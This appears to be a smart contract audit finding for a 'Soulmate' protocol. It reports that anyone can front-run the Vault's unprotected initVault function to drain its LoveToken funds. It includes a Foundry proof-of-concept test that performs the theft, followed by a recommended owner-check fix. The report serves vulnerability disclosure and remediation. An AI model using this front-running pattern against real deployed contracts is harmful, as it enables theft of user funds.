Summary
Anyone can initialize the Vault
contract, and set an arbitrary address as the manager contract enabling the tefth of Love Token Tokens.
Vulnerability Details
As the Soulmate protocol is being deployed there is an oppurtunity for an attacker to front run the initialization of the Vault
contracts by calling function initVault(ILoveToken loveToken, address managerContract) public
enabling them to set an arbitrary address as the managerContract
. This in turn let's them steal all the funds in the Vault
Contract.
POC
function test_anyone_can_init_vault() public {
address deployer = makeAddr("deployer");
address front_runner_attacker = makeAddr("attacker");
vm.startPrank(deployer);
Vault airdropVault = new Vault();
Vault stakingVault = new Vault();
Soulmate soulmateContract = new Soulmate();
LoveToken loveToken =
new LoveToken(ISoulmate(address(soulmateContract)), address(airdropVault), address(stakingVault));
Staking stakingContract = new Staking(
ILoveToken(address(loveToken)), ISoulmate(address(soulmateContract)), IVault(address(stakingVault))
);
Airdrop airdropContract = new Airdrop(
ILoveToken(address(loveToken)), ISoulmate(address(soulmateContract)), IVault(address(airdropVault))
);
vm.stopPrank();
vm.startPrank(front_runner_attacker);
airdropVault.initVault(ILoveToken(address(loveToken)), front_runner_attacker);
stakingVault.initVault(ILoveToken(address(loveToken)), front_runner_attacker);
loveToken.transferFrom(address(airdropVault), front_runner_attacker, loveToken.balanceOf(address(airdropVault)));
loveToken.transferFrom(address(stakingVault), front_runner_attacker, loveToken.balanceOf(address(stakingVault)));
assertEq(loveToken.balanceOf(front_runner_attacker), 500_000_000 * 2 ether);
}
Impact
All the love tokens that should be given as airdrop and staking rewards will be stolen leading to severe break in the protocol.
Tools Used
Foundry
Recommendations
To prevent the frontrunning the Vault
contract should make it so that Vault::initVault
is only called by a priveleged address.
contract Vault {
/*//////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error Vault__AlreadyInitialized();
+ error Vault__OnlyOwner(address want, address have);
/*//////////////////////////////////////////////////////////////
STATE VARIABLES
//////////////////////////////////////////////////////////////*/
+ address immutable owner;
bool public vaultInitialize;
/*//////////////////////////////////////////////////////////////
FUNCTIONS
//////////////////////////////////////////////////////////////*/
+ constructor(){
+ owner = msg.sender;
+ }
/// @notice Init vault with the loveToken.
/// @notice Vault will approve its corresponding management contract to handle tokens.
/// @notice vaultInitialize protect against multiple initialization.
function initVault(ILoveToken loveToken, address managerContract) public {
+ if (msg.sender != owner){
+ revert Vault__OnlyOwner(owner,msg.sender);
+ }
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}
}
This will prevent anyone other than the deployer of the contract to call the initVault
function and therefore prevent a frontrun attack.